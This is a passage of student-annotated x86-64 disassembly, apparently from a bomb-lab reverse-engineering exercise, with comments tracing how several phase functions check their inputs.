$0x1,(%rsp)\n 400f0e:\t74 20 \tje 400f30 # jump to line 375\n 400f10:\te8 25 05 00 00 \tcallq 40143a \n 400f15:\teb 19 \tjmp 400f30 \n 400f17:\t8b 43 fc \tmov -0x4(%rbx),%eax # eax = 1st argu, eax = 2st argu\n 400f1a:\t01 c0 \tadd %eax,%eax # eax *= 2\n 400f1c:\t39 03 \tcmp %eax,(%rbx) # compare 2*eax with (rbx)\n 400f1e:\t74 05 \tje 400f25 # jump to line 371\n 400f20:\te8 15 05 00 00 \tcallq 40143a \n 400f25:\t48 83 c3 04 \tadd $0x4,%rbx # rbx = 3rd argu\n 400f29:\t48 39 eb \tcmp %rbp,%rbx # not equal\n 400f2c:\t75 e9 \tjne 400f17 # jump to line 366\n 400f2e:\teb 0c \tjmp 400f3c \n 400f30:\t48 8d 5c 24 04 \tlea 0x4(%rsp),%rbx # rbx = 2nd argu\n 400f35:\t48 8d 6c 24 18 \tlea 0x18(%rsp),%rbp # rbp = skip+56\n 400f3a:\teb db \tjmp 400f17 # jump to line 366\n 400f3c:\t48 83 c4 28 \tadd $0x28,%rsp\n 400f40:\t5b \tpop %rbx\n 400f41:\t5d \tpop %rbp\n 400f42:\tc3 \tretq \n\n0000000000400f43 :\n 400f43:\t48 83 ec 18 \tsub $0x18,%rsp # allocate 24 \n 400f47:\t48 8d 4c 24 0c \tlea 0xc(%rsp),%rcx # rcx = rsp + 12\n 400f4c:\t48 8d 54 24 08 \tlea 0x8(%rsp),%rdx # rdx = rsp + 8\n 400f51:\tbe cf 25 40 00 \tmov $0x4025cf,%esi # \"%d %d\"\n 400f56:\tb8 00 00 00 00 \tmov $0x0,%eax # eax = 0\n 400f5b:\te8 90 fc ff ff \tcallq 400bf0 <__isoc99_sscanf@plt>\n 400f60:\t83 f8 01 \tcmp $0x1,%eax\n 400f63:\t7f 05 \tjg 400f6a # jump to line 393 \n 400f65:\te8 d0 04 00 00 \tcallq 40143a \n 400f6a:\t83 7c 24 08 07 \tcmpl $0x7,0x8(%rsp) # compare 1st with 7\n 400f6f:\t77 3c \tja 400fad # explode\n 400f71:\t8b 44 24 08 \tmov 0x8(%rsp),%eax # eax = 1st argu\n 400f75:\tff 24 c5 70 24 40 00 \tjmpq *0x402470(,%rax,8) # jump to *0x402470 + rax * 8\n 400f7c:\tb8 cf 00 00 00 \tmov $0xcf,%eax # switch statement\n 400f81:\teb 3b \tjmp 400fbe \n 400f83:\tb8 c3 02 00 00 \tmov $0x2c3,%eax\n 400f88:\teb 34 \tjmp 400fbe \n 400f8a:\tb8 00 01 00 00 \tmov $0x100,%eax\n 400f8f:\teb 2d \tjmp 400fbe \n 400f91:\tb8 85 01 00 00 \tmov $0x185,%eax\n 400f96:\teb 26 \tjmp 400fbe \n 400f98:\tb8 ce 00 00 00 \tmov $0xce,%eax\n 400f9d:\teb 1f \tjmp 400fbe \n 400f9f:\tb8 aa 02 00 00 \tmov $0x2aa,%eax #\n 400fa4:\teb 18 \tjmp 400fbe \n 400fa6:\tb8 47 01 00 00 \tmov $0x147,%eax\n 400fab:\teb 11 \tjmp 400fbe \n 400fad:\te8 88 04 00 00 \tcallq 40143a \n 400fb2:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400fb7:\teb 05 \tjmp 400fbe \n 400fb9:\tb8 37 01 00 00 \tmov $0x137,%eax\n 400fbe:\t3b 44 24 0c \tcmp 0xc(%rsp),%eax # make eax == rsp + 12\n 400fc2:\t74 05 \tje 400fc9 \n 400fc4:\te8 71 04 00 00 \tcallq 40143a \n 400fc9:\t48 83 c4 18 \tadd $0x18,%rsp\n 400fcd:\tc3 \tretq \n\n0000000000400fce :\n 400fce:\t48 83 ec 08 \tsub $0x8,%rsp\n 400fd2:\t89 d0 \tmov %edx,%eax # eax = edx (eax == 14)\n 400fd4:\t29 f0 \tsub %esi,%eax # eax = eax - esi\n 400fd6:\t89 c1 \tmov %eax,%ecx # ecx = eax\n 400fd8:\tc1 e9 1f \tshr $0x1f,%ecx # >>> 31 get highest bit of rcx\n 400fdb:\t01 c8 \tadd %ecx,%eax # eax = eax + ecx\n 400fdd:\td1 f8 \tsar %eax # eax >> 1 (eax \/ 2)\n 400fdf:\t8d 0c 30 \tlea (%rax,%rsi,1),%ecx # ecx = rax + rsi\n 400fe2:\t39 f9 \tcmp %edi,%ecx # ecx <= edi (edi \u662f\u7b2c\u4e00\u4e2aarg\uff0cecx\u597d\u50cf\u662feax\u7684\u4e00\u534a)\n 400fe4:\t7e 0c \tjle 400ff2 # jump to line 438\n\n 400fe6:\t8d 51 ff \tlea -0x1(%rcx),%edx # edx = rcx - 1(\u6bcf\u6b21\u9012\u5f52eax \/ 2 - 1)\n 400fe9:\te8 e0 ff ff ff \tcallq 400fce # recursive call\n 400fee:\t01 c0 \tadd %eax,%eax\n 400ff0:\teb 15 \tjmp 401007 # exit func\n\n 400ff2:\tb8 00 00 00 00 \tmov $0x0,%eax # eax = 0\n 400ff7:\t39 f9 \tcmp %edi,%ecx # ecx >= edi\n 400ff9:\t7d 0c \tjge 401007 # exit func\n\n 400ffb:\t8d 71 01 \tlea 0x1(%rcx),%esi # esi = rcx + 1\n 400ffe:\te8 cb ff ff ff \tcallq 400fce # recursive call\n 401003:\t8d 44 00 01 \tlea 0x1(%rax,%rax,1),%eax # explode when eax == 1\n 401007:\t48 83 c4 08 \tadd $0x8,%rsp\n 40100b:\tc3 \tretq \n\n000000000040100c :\n 40100c:\t48 83 ec 18 \tsub $0x18,%rsp\n 401010:\t48 8d 4c 24 0c \tlea 0xc(%rsp),%rcx\n 401015:\t48 8d 54 24 08 \tlea 0x8(%rsp),%rdx\n 40101a:\tbe cf 25 40 00 \tmov $0x4025cf,%esi\n 40101f:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401024:\te8 c7 fb ff ff \tcallq 400bf0 <__isoc99_sscanf@plt>\n 401029:\t83 f8 02 \tcmp $0x2,%eax\n 40102c:\t75 07 \tjne 401035 \n 40102e:\t83 7c 24 08 0e \tcmpl $0xe,0x8(%rsp)\n 401033:\t76 05 \tjbe 40103a \n 401035:\te8 00 04 00 00 \tcallq 40143a \n 40103a:\tba 0e 00 00 00 \tmov $0xe,%edx # edx = 0xe\n 40103f:\tbe 00 00 00 00 \tmov $0x0,%esi # esi = 0\n 401044:\t8b 7c 24 08 \tmov 0x8(%rsp),%edi # edi = 1st argu\n 401048:\te8 81 ff ff ff \tcallq 400fce \n 40104d:\t85 c0 \ttest %eax,%eax # rax should be 0\n 40104f:\t75 07 \tjne 401058 \n 401051:\t83 7c 24 0c 00 \tcmpl $0x0,0xc(%rsp) # 2nd argu should be 0\n 401056:\t74 05 \tje 40105d \n 401058:\te8 dd 03 00 00 \tcallq 40143a \n 40105d:\t48 83 c4 18 \tadd $0x18,%rsp\n 401061:\tc3 \tretq \n\n0000000000401062 :\n 401062:\t53 \tpush %rbx\n 401063:\t48 83 ec 20 \tsub $0x20,%rsp # allocate 32 \n 401067:\t48 89 fb \tmov %rdi,%rbx # rbx = 1st argu\n 40106a:\t64 48 8b 04 25 28 00 \tmov %fs:0x28,%rax # read canary\n 401071:\t00 00 \n 401073:\t48 89 44 24 18 \tmov %rax,0x18(%rsp) # store canary to stack\n 401078:\t31 c0 \txor %eax,%eax # zero out rax\n 40107a:\te8 9c 02 00 00 \tcallq 40131b # compute string length of 1st argu\n 40107f:\t83 f8 06 \tcmp $0x6,%eax # check if it equals 6\n 401082:\t74 4e \tje 4010d2 # je to line 503\n 401084:\te8 b1 03 00 00 \tcallq 40143a \n 401089:\teb 47 \tjmp 4010d2 \n 40108b:\t0f b6 0c 03 \tmovzbl (%rbx,%rax,1),%ecx # move rax-th character of 1st argu to rcx\n 40108f:\t88 0c 24 \tmov %cl,(%rsp) # store rcx on stack, rcx is a char\n 401092:\t48 8b 14 24 \tmov (%rsp),%rdx # rdx = rcx\n 401096:\t83 e2 0f \tand $0xf,%edx # get low-order 4 bits of rdx, 0x8 for 0x68\n 401099:\t0f b6 92 b0 24 40 00 \tmovzbl 0x4024b0(%rdx),%edx # *** move a value in array (0x4024b0 + rdx) to rdx ***\n 4010a0:\t88 54 04 10 \tmov %dl,0x10(%rsp,%rax,1) # store 1 byte rdx on stack (rsp + 16 + rax)\n 4010a4:\t48 83 c0 01 \tadd $0x1,%rax # rax++\n 4010a8:\t48 83 f8 06 \tcmp $0x6,%rax # if rax == 6\n 4010ac:\t75 dd \tjne 40108b # jne to line 485\n 4010ae:\tc6 44 24 16 00 \tmovb $0x0,0x16(%rsp) # move 0 to rsp+22\n 4010b3:\tbe 5e 24 40 00 \tmov $0x40245e,%esi # *** move 0x737265796c66 to esi ***\n 4010b8:\t48 8d 7c 24 10 \tlea 0x10(%rsp),%rdi \n 4010bd:\te8 76 02 00 00 \tcallq 401338 # compare my argu to esi\n 4010c2:\t85 c0 \ttest %eax,%eax\n 4010c4:\t74 13 \tje 4010d9 # je to line 505\n 4010c6:\te8 6f 03 00 00 \tcallq 40143a \n 4010cb:\t0f 1f 44 00 00 \tnopl 0x0(%rax,%rax,1)\n 4010d0:\teb 07 \tjmp 4010d9 \n 4010d2:\tb8 00 00 00 00 \tmov $0x0,%eax # zero out rax\n 4010d7:\teb b2 \tjmp 40108b # jmp to line 485\n 4010d9:\t48 8b 44 24 18 \tmov 0x18(%rsp),%rax # \n 4010de:\t64 48 33 04 25 28 00 \txor %fs:0x28,%rax\n 4010e5:\t00 00 \n 4010e7:\t74 05 \tje 4010ee # exit phase\n 4010e9:\te8 42 fa ff ff \tcallq 400b30 <__stack_chk_fail@plt>\n 4010ee:\t48 83 c4 20 \tadd $0x20,%rsp\n 4010f2:\t5b \tpop %rbx\n 4010f3:\tc3 \tretq \n\n00000000004010f4 :\n 4010f4:\t41 56 \tpush %r14\n 4010f6:\t41 55 \tpush %r13\n 4010f8:\t41 54 \tpush %r12\n 4010fa:\t55 \tpush %rbp\n 4010fb:\t53 \tpush %rbx\n 4010fc:\t48 83 ec 50 \tsub $0x50,%rsp\n 401100:\t49 89 e5 \tmov %rsp,%r13\n 401103:\t48 89 e6 \tmov %rsp,%rsi\n 401106:\te8 51 03 00 00 \tcallq 40145c \n 40110b:\t49 89 e6 \tmov %rsp,%r14 # r14 = 1st argu\n 40110e:\t41 bc 00 00 00 00 \tmov $0x0,%r12d # r12 = 0\n 401114:\t4c 89 ed \tmov %r13,%rbp # rbp == r13 == &1st argu\n 401117:\t41 8b 45 00 \tmov 0x0(%r13),%eax # rax = 1st argu\n 40111b:\t83 e8 01 \tsub $0x1,%eax # rax--\n 40111e:\t83 f8 05 \tcmp $0x5,%eax\n 401121:\t76 05 \tjbe 401128 # rax <= 5, jump to next\n 401123:\te8 12 03 00 00 \tcallq 40143a # 1st argu must be lower than 7\n 401128:\t41 83 c4 01 \tadd $0x1,%r12d # r12++\n 40112c:\t41 83 fc 06 \tcmp $0x6,%r12d\n 401130:\t74 21 \tje 401153 # r12 == 6, jump to line 548\n 401132:\t44 89 e3 \tmov %r12d,%ebx # rbx = r12\n 401135:\t48 63 c3 \tmovslq %ebx,%rax # sign move, rax = rbx\n 401138:\t8b 04 84 \tmov (%rsp,%rax,4),%eax # rax = next value in stack\n 40113b:\t39 45 00 \tcmp %eax,0x0(%rbp)\n 40113e:\t75 05 \tjne 401145 # (rbp) != rax, jne to next\n 401140:\te8 f5 02 00 00 \tcallq 40143a \n 401145:\t83 c3 01 \tadd $0x1,%ebx # rbx++\n 401148:\t83 fb 05 \tcmp $0x5,%ebx\n 40114b:\t7e e8 \tjle 401135 # rbx <= 5, jump to line 536\n 40114d:\t49 83 c5 04 \tadd $0x4,%r13 # r13 = r13 + 4 (rbx >= 6)\n 401151:\teb c1 \tjmp 401114 # jump to line 526\n# it seems like codes above are checking whether there are duplicate numbers in 6-number input\n# if no duplicate then go on\n 401153:\t48 8d 74 24 18 \tlea 0x18(%rsp),%rsi # 7th in stack\n 401158:\t4c 89 f0 \tmov %r14,%rax # address of 1st argu\n 40115b:\tb9 07 00 00 00 \tmov $0x7,%ecx # rcx = 7\n 401160:\t89 ca \tmov %ecx,%edx # rdx = 7\n 401162:\t2b 10 \tsub (%rax),%edx # rdx = rdx - 1st argu\n 401164:\t89 10 \tmov %edx,(%rax) # (rax) = rdx\n 401166:\t48 83 c0 04 \tadd $0x4,%rax # rax + 4\n 40116a:\t48 39 f0 \tcmp %rsi,%rax\n 40116d:\t75 f1 \tjne 401160 # rax != rsi, jump back to line 551\n# codes above: for all args, args = 7 - args\n 40116f:\tbe 00 00 00 00 \tmov $0x0,%esi # rsi = 0\n 401174:\teb 21 \tjmp 401197 # jump to line 570\n 401176:\t48 8b 52 08 \tmov 0x8(%rdx),%rdx # node = node.next\n 40117a:\t83 c0 01 \tadd $0x1,%eax # eax++\n 40117d:\t39 c8 \tcmp %ecx,%eax\n 40117f:\t75 f5 \tjne 401176 # rax != rcx, jump back to line 560\n 401181:\teb 05 \tjmp 401188 # rax == rcx, jump to line 566\n 401183:\tba d0 32 60 00 \tmov $0x6032d0,%edx # head of linked list\n 401188:\t48 89 54 74 20 \tmov %rdx,0x20(%rsp,%rsi,2) # rsi * 2 + rsp + 32 = rdx\n 40118d:\t48 83 c6 04 \tadd $0x4,%rsi # rsi += 4\n 401191:\t48 83 fe 18 \tcmp $0x18,%rsi\n 401195:\t74 14 \tje 4011ab # rsi == 24 (loop 6 times), jump to line 577\n 401197:\t8b 0c 34 \tmov (%rsp,%rsi,1),%ecx # rcx = rsi + rsp\n 40119a:\t83 f9 01 \tcmp $0x1,%ecx\n 40119d:\t7e e4 \tjle 401183 # rcx <= 1, jump back to line 565\n 40119f:\tb8 01 00 00 00 \tmov $0x1,%eax # rax = 1\n 4011a4:\tba d0 32 60 00 \tmov $0x6032d0,%edx # head of linked list\n 4011a9:\teb cb \tjmp 401176 # jump back to line 560\n# it seems like a linked list is written to stack\n 4011ab:\t48 8b 5c 24 20 \tmov 0x20(%rsp),%rbx # rbx = node1\n 4011b0:\t48 8d 44 24 28 \tlea 0x28(%rsp),%rax # rax = *node2\n 4011b5:\t48 8d 74 24 50 \tlea 0x50(%rsp),%rsi # rsi = ddd0\n 4011ba:\t48 89 d9 \tmov %rbx,%rcx # rcx = node1\n 4011bd:\t48 8b 10 \tmov (%rax),%rdx # rdx = node2\n 4011c0:\t48 89 51 08 \tmov %rdx,0x8(%rcx) # (node1 + 8) = node2\n 4011c4:\t48 83 c0 08 \tadd $0x8,%rax # rax = *node3\n 4011c8:\t48 39 f0 \tcmp %rsi,%rax\n 4011cb:\t74 05 \tje 4011d2 # *node3 == ddd0,jump to line 588\n 4011cd:\t48 89 d1 \tmov %rdx,%rcx # rcx = rcx.next\n 4011d0:\teb eb \tjmp 4011bd # jump back to line 581\n 4011d2:\t48 c7 42 08 00 00 00 \tmovq $0x0,0x8(%rdx) # (ddd0) = 0\n 4011d9:\t00 \n# codes below seems like comparing 2 node each time in a loop and if lower then explode\n 4011da:\tbd 05 00 00 00 \tmov $0x5,%ebp # rbp = 5\n 4011df:\t48 8b 43 08 \tmov 0x8(%rbx),%rax # ddd0 = node1 + 8 = node2\n 4011e3:\t8b 00 \tmov (%rax),%eax # rax = node2.value\n 4011e5:\t39 03 \tcmp %eax,(%rbx)\n 4011e7:\t7d 05 \tjge 4011ee # (rbx) >= rax, jump to line 596\n 4011e9:\te8 4c 02 00 00 \tcallq 40143a \n 4011ee:\t48 8b 5b 08 \tmov 0x8(%rbx),%rbx # rbx = node2\n 4011f2:\t83 ed 01 \tsub $0x1,%ebp # rbp--\n 4011f5:\t75 e8 \tjne 4011df # rbp != 1, jump back to line 591\n 4011f7:\t48 83 c4 50 \tadd $0x50,%rsp\n 4011fb:\t5b \tpop %rbx\n 4011fc:\t5d \tpop %rbp\n 4011fd:\t41 5c \tpop %r12\n 4011ff:\t41 5d \tpop %r13\n 401201:\t41 5e \tpop %r14\n 401203:\tc3 \tretq \n\n0000000000401204 :\n 401204:\t48 83 ec 08 \tsub $0x8,%rsp\n 401208:\t48 85 ff \ttest %rdi,%rdi\n 40120b:\t74 2b \tje 401238 \n 40120d:\t8b 17 \tmov (%rdi),%edx\n 40120f:\t39 f2 \tcmp %esi,%edx\n 401211:\t7e 0d \tjle 401220 \n 401213:\t48 8b 7f 08 \tmov 0x8(%rdi),%rdi\n 401217:\te8 e8 ff ff ff \tcallq 401204 \n 40121c:\t01 c0 \tadd %eax,%eax\n 40121e:\teb 1d \tjmp 40123d \n 401220:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401225:\t39 f2 \tcmp %esi,%edx\n 401227:\t74 14 \tje 40123d \n 401229:\t48 8b 7f 10 \tmov 0x10(%rdi),%rdi\n 40122d:\te8 d2 ff ff ff \tcallq 401204 \n 401232:\t8d 44 00 01 \tlea 0x1(%rax,%rax,1),%eax\n 401236:\teb 05 \tjmp 40123d \n 401238:\tb8 ff ff ff ff \tmov $0xffffffff,%eax\n 40123d:\t48 83 c4 08 \tadd $0x8,%rsp\n 401241:\tc3 \tretq \n\n0000000000401242 :\n 401242:\t53 \tpush %rbx\n 401243:\te8 56 02 00 00 \tcallq 40149e \n 401248:\tba 0a 00 00 00 \tmov $0xa,%edx\n 40124d:\tbe 00 00 00 00 \tmov $0x0,%esi\n 401252:\t48 89 c7 \tmov %rax,%rdi\n 401255:\te8 76 f9 ff ff \tcallq 400bd0 \n 40125a:\t48 89 c3 \tmov %rax,%rbx\n 40125d:\t8d 40 ff \tlea -0x1(%rax),%eax\n 401260:\t3d e8 03 00 00 \tcmp $0x3e8,%eax\n 401265:\t76 05 \tjbe 40126c \n 401267:\te8 ce 01 00 00 \tcallq 40143a \n 40126c:\t89 de \tmov %ebx,%esi\n 40126e:\tbf f0 30 60 00 \tmov $0x6030f0,%edi\n 401273:\te8 8c ff ff ff \tcallq 401204 \n 401278:\t83 f8 02 \tcmp $0x2,%eax\n 40127b:\t74 05 \tje 401282 \n 40127d:\te8 b8 01 00 00 \tcallq 40143a \n 401282:\tbf 38 24 40 00 \tmov $0x402438,%edi\n 401287:\te8 84 f8 ff ff \tcallq 400b10 \n 40128c:\te8 33 03 00 00 \tcallq 4015c4 \n 401291:\t5b \tpop %rbx\n 401292:\tc3 \tretq \n 401293:\t90 \tnop\n 401294:\t90 \tnop\n 401295:\t90 \tnop\n 401296:\t90 \tnop\n 401297:\t90 \tnop\n 401298:\t90 \tnop\n 401299:\t90 \tnop\n 40129a:\t90 \tnop\n 40129b:\t90 \tnop\n 40129c:\t90 \tnop\n 40129d:\t90 \tnop\n 40129e:\t90 \tnop\n 40129f:\t90 \tnop\n\n00000000004012a0 :\n 4012a0:\t48 83 ec 08 \tsub $0x8,%rsp\n 4012a4:\tbf c0 24 40 00 \tmov $0x4024c0,%edi\n 4012a9:\te8 62 f8 ff ff \tcallq 400b10 \n 4012ae:\tbf 03 00 00 00 \tmov $0x3,%edi\n 4012b3:\te8 98 f9 ff ff \tcallq 400c50 \n 4012b8:\tbe 82 25 40 00 \tmov $0x402582,%esi\n 4012bd:\tbf 01 00 00 00 \tmov $0x1,%edi\n 4012c2:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4012c7:\te8 34 f9 ff ff \tcallq 400c00 <__printf_chk@plt>\n 4012cc:\t48 8b 3d 6d 24 20 00 \tmov 0x20246d(%rip),%rdi # 603740 \n 4012d3:\te8 08 f9 ff ff \tcallq 400be0 \n 4012d8:\tbf 01 00 00 00 \tmov $0x1,%edi\n 4012dd:\te8 6e f9 ff ff \tcallq 400c50 \n 4012e2:\tbf 8a 25 40 00 \tmov $0x40258a,%edi\n 4012e7:\te8 24 f8 ff ff \tcallq 400b10 \n 4012ec:\tbf 10 00 00 00 \tmov $0x10,%edi\n 4012f1:\te8 2a f9 ff ff \tcallq 400c20 \n\n00000000004012f6 :\n 4012f6:\t48 83 ec 08 \tsub $0x8,%rsp\n 4012fa:\t48 89 fa \tmov %rdi,%rdx\n 4012fd:\tbe 92 25 40 00 \tmov $0x402592,%esi\n 401302:\tbf 01 00 00 00 \tmov $0x1,%edi\n 401307:\tb8 00 00 00 00 \tmov $0x0,%eax\n 40130c:\te8 ef f8 ff ff \tcallq 400c00 <__printf_chk@plt>\n 401311:\tbf 08 00 00 00 \tmov $0x8,%edi\n 401316:\te8 05 f9 ff ff \tcallq 400c20 \n\n000000000040131b :\n 40131b:\t80 3f 00 \tcmpb $0x0,(%rdi)\n 40131e:\t74 12 \tje 401332 \n 401320:\t48 89 fa \tmov %rdi,%rdx\n 401323:\t48 83 c2 01 \tadd $0x1,%rdx\n 401327:\t89 d0 \tmov %edx,%eax\n 401329:\t29 f8 \tsub %edi,%eax\n 40132b:\t80 3a 00 \tcmpb $0x0,(%rdx)\n 40132e:\t75 f3 \tjne 401323 \n 401330:\tf3 c3 \trepz retq \n 401332:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401337:\tc3 \tretq \n\n0000000000401338 :\n 401338:\t41 54 \tpush %r12 \n 40133a:\t55 \tpush %rbp\n 40133b:\t53 \tpush %rbx\n 40133c:\t48 89 fb \tmov %rdi,%rbx\n 40133f:\t48 89 f5 \tmov %rsi,%rbp\n 401342:\te8 d4 ff ff ff \tcallq 40131b \n 401347:\t41 89 c4 \tmov %eax,%r12d\n 40134a:\t48 89 ef \tmov %rbp,%rdi\n 40134d:\te8 c9 ff ff ff \tcallq 40131b \n 401352:\tba 01 00 00 00 \tmov $0x1,%edx\n 401357:\t41 39 c4 \tcmp %eax,%r12d\n 40135a:\t75 3f \tjne 40139b \n 40135c:\t0f b6 03 \tmovzbl (%rbx),%eax\n 40135f:\t84 c0 \ttest %al,%al\n 401361:\t74 25 \tje 401388 \n 401363:\t3a 45 00 \tcmp 0x0(%rbp),%al\n 401366:\t74 0a \tje 401372 \n 401368:\teb 25 \tjmp 40138f \n 40136a:\t3a 45 00 \tcmp 0x0(%rbp),%al\n 40136d:\t0f 1f 00 \tnopl (%rax)\n 401370:\t75 24 \tjne 401396 \n 401372:\t48 83 c3 01 \tadd $0x1,%rbx\n 401376:\t48 83 c5 01 \tadd $0x1,%rbp\n 40137a:\t0f b6 03 \tmovzbl (%rbx),%eax\n 40137d:\t84 c0 \ttest %al,%al\n 40137f:\t75 e9 \tjne 40136a \n 401381:\tba 00 00 00 00 \tmov $0x0,%edx\n 401386:\teb 13 \tjmp 40139b \n 401388:\tba 00 00 00 00 \tmov $0x0,%edx\n 40138d:\teb 0c \tjmp 40139b \n 40138f:\tba 01 00 00 00 \tmov $0x1,%edx\n 401394:\teb 05 \tjmp 40139b \n 401396:\tba 01 00 00 00 \tmov $0x1,%edx\n 40139b:\t89 d0 \tmov %edx,%eax\n 40139d:\t5b \tpop %rbx\n 40139e:\t5d \tpop %rbp\n 40139f:\t41 5c \tpop %r12\n 4013a1:\tc3 \tretq \n\n00000000004013a2 :\n 4013a2:\t48 83 ec 08 \tsub $0x8,%rsp\n 4013a6:\tbe a0 12 40 00 \tmov $0x4012a0,%esi\n 4013ab:\tbf 02 00 00 00 \tmov $0x2,%edi\n 4013b0:\te8 db f7 ff ff \tcallq 400b90 \n 4013b5:\t48 83 c4 08 \tadd $0x8,%rsp\n 4013b9:\tc3 \tretq \n\n00000000004013ba :\n 4013ba:\tf3 c3 \trepz retq \n\n00000000004013bc :\n 4013bc:\t55 \tpush %rbp\n 4013bd:\t53 \tpush %rbx\n 4013be:\t48 83 ec 08 \tsub $0x8,%rsp\n 4013c2:\t48 89 fb \tmov %rdi,%rbx\n 4013c5:\teb 17 \tjmp 4013de \n 4013c7:\te8 94 f8 ff ff \tcallq 400c60 <__ctype_b_loc@plt>\n 4013cc:\t48 83 c3 01 \tadd $0x1,%rbx\n 4013d0:\t48 0f be ed \tmovsbq %bpl,%rbp\n 4013d4:\t48 8b 00 \tmov (%rax),%rax\n 4013d7:\tf6 44 68 01 20 \ttestb $0x20,0x1(%rax,%rbp,2)\n 4013dc:\t74 0f \tje 4013ed \n 4013de:\t0f b6 2b \tmovzbl (%rbx),%ebp\n 4013e1:\t40 84 ed \ttest %bpl,%bpl\n 4013e4:\t75 e1 \tjne 4013c7 \n 4013e6:\tb8 01 00 00 00 \tmov $0x1,%eax\n 4013eb:\teb 05 \tjmp 4013f2 \n 4013ed:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4013f2:\t48 83 c4 08 \tadd $0x8,%rsp\n 4013f6:\t5b \tpop %rbx\n 4013f7:\t5d \tpop %rbp\n 4013f8:\tc3 \tretq \n\n00000000004013f9 :\n 4013f9:\t53 \tpush %rbx\n 4013fa:\t48 63 05 5f 23 20 00 \tmovslq 0x20235f(%rip),%rax # 603760 \n 401401:\t48 8d 3c 80 \tlea (%rax,%rax,4),%rdi\n 401405:\t48 c1 e7 04 \tshl $0x4,%rdi\n 401409:\t48 81 c7 80 37 60 00 \tadd $0x603780,%rdi\n 401410:\t48 8b 15 51 23 20 00 \tmov 0x202351(%rip),%rdx # 603768 \n 401417:\tbe 50 00 00 00 \tmov $0x50,%esi\n 40141c:\te8 5f f7 ff ff \tcallq 400b80 \n 401421:\t48 89 c3 \tmov %rax,%rbx\n 401424:\t48 85 c0 \ttest %rax,%rax\n 401427:\t74 0c \tje 401435 \n 401429:\t48 89 c7 \tmov %rax,%rdi\n 40142c:\te8 8b ff ff ff \tcallq 4013bc \n 401431:\t85 c0 \ttest %eax,%eax\n 401433:\t75 c5 \tjne 4013fa \n 401435:\t48 89 d8 \tmov %rbx,%rax\n 401438:\t5b \tpop %rbx\n 401439:\tc3 \tretq \n\n000000000040143a :\n 40143a:\t48 83 ec 08 \tsub $0x8,%rsp\n 40143e:\tbf a3 25 40 00 \tmov $0x4025a3,%edi\n 401443:\te8 c8 f6 ff ff \tcallq 400b10 \n 401448:\tbf ac 25 40 00 \tmov $0x4025ac,%edi\n 40144d:\te8 be f6 ff ff \tcallq 400b10 \n 401452:\tbf 08 00 00 00 \tmov $0x8,%edi\n 401457:\te8 c4 f7 ff ff \tcallq 400c20 \n\n000000000040145c :\n 40145c:\t48 83 ec 18 \tsub $0x18,%rsp # allocate 24 bits\n 401460:\t48 89 f2 \tmov %rsi,%rdx # rdx = rsi\n 401463:\t48 8d 4e 04 \tlea 0x4(%rsi),%rcx # rcx = rsi + 4\n 401467:\t48 8d 46 14 \tlea 0x14(%rsi),%rax # rax = rsi + 14\n 40146b:\t48 89 44 24 08 \tmov %rax,0x8(%rsp) # rsp + 0x8 = rax\n 401470:\t48 8d 46 10 \tlea 0x10(%rsi),%rax # rax = rsi + 10\n 401474:\t48 89 04 24 \tmov %rax,(%rsp) # (rsp) = rax\n 401478:\t4c 8d 4e 0c \tlea 0xc(%rsi),%r9 # r9 = rsi + 0xc \n 40147c:\t4c 8d 46 08 \tlea 0x8(%rsi),%r8 # r8 = rsi + 0x8\n 401480:\tbe c3 25 40 00 \tmov $0x4025c3,%esi # esi = 0x4025c3\n 401485:\tb8 00 00 00 00 \tmov $0x0,%eax # eax = 0x0\n 40148a:\te8 61 f7 ff ff \tcallq 400bf0 <__isoc99_sscanf@plt>\n 40148f:\t83 f8 05 \tcmp $0x5,%eax # eax > 0x5\n 401492:\t7f 05 \tjg 401499 \n 401494:\te8 a1 ff ff ff \tcallq 40143a \n 401499:\t48 83 c4 18 \tadd $0x18,%rsp \n 40149d:\tc3 \tretq \n\n000000000040149e :\n 40149e:\t48 83 ec 08 \tsub $0x8,%rsp\n 4014a2:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4014a7:\te8 4d ff ff ff \tcallq 4013f9 \n 4014ac:\t48 85 c0 \ttest %rax,%rax\n 4014af:\t75 6e \tjne 40151f \n 4014b1:\t48 8b 05 90 22 20 00 \tmov 0x202290(%rip),%rax # 603748 \n 4014b8:\t48 39 05 a9 22 20 00 \tcmp %rax,0x2022a9(%rip) # 603768 \n 4014bf:\t75 14 \tjne 4014d5 \n 4014c1:\tbf d5 25 40 00 \tmov $0x4025d5,%edi\n 4014c6:\te8 45 f6 ff ff \tcallq 400b10 \n 4014cb:\tbf 08 00 00 00 \tmov $0x8,%edi\n 4014d0:\te8 4b f7 ff ff \tcallq 400c20 \n 4014d5:\tbf f3 25 40 00 \tmov $0x4025f3,%edi\n 4014da:\te8 01 f6 ff ff \tcallq 400ae0 \n 4014df:\t48 85 c0 \ttest %rax,%rax\n 4014e2:\t74 0a \tje 4014ee \n 4014e4:\tbf 00 00 00 00 \tmov $0x0,%edi\n 4014e9:\te8 32 f7 ff ff \tcallq 400c20 \n 4014ee:\t48 8b 05 53 22 20 00 \tmov 0x202253(%rip),%rax # 603748 \n 4014f5:\t48 89 05 6c 22 20 00 \tmov %rax,0x20226c(%rip) # 603768 \n 4014fc:\tb8 00 00 00 00 \tmov $0x0,%eax\n 401501:\te8 f3 fe ff ff \tcallq 4013f9 \n 401506:\t48 85 c0 \ttest %rax,%rax\n 401509:\t75 14 \tjne 40151f \n 40150b:\tbf d5 25 40 00 \tmov $0x4025d5,%edi\n 401510:\te8 fb f5 ff ff \tcallq 400b10 \n 401515:\tbf 00 00 00 00 \tmov $0x0,%edi\n 40151a:\te8 01 f7 ff ff \tcallq 400c20 \n 40151f:\t8b 15 3b 22 20 00 \tmov 0x20223b(%rip),%edx # 603760 \n 401525:\t48 63 c2 \tmovslq %edx,%rax\n 401528:\t48 8d 34 80 \tlea (%rax,%rax,4),%rsi\n 40152c:\t48 c1 e6 04 \tshl $0x4,%rsi\n 401530:\t48 81 c6 80 37 60 00 \tadd $0x603780,%rsi\n 401537:\t48 89 f7 \tmov %rsi,%rdi\n 40153a:\tb8 00 00 00 00 \tmov $0x0,%eax\n 40153f:\t48 c7 c1 ff ff ff ff \tmov $0xffffffffffffffff,%rcx\n 401546:\tf2 ae \trepnz scas 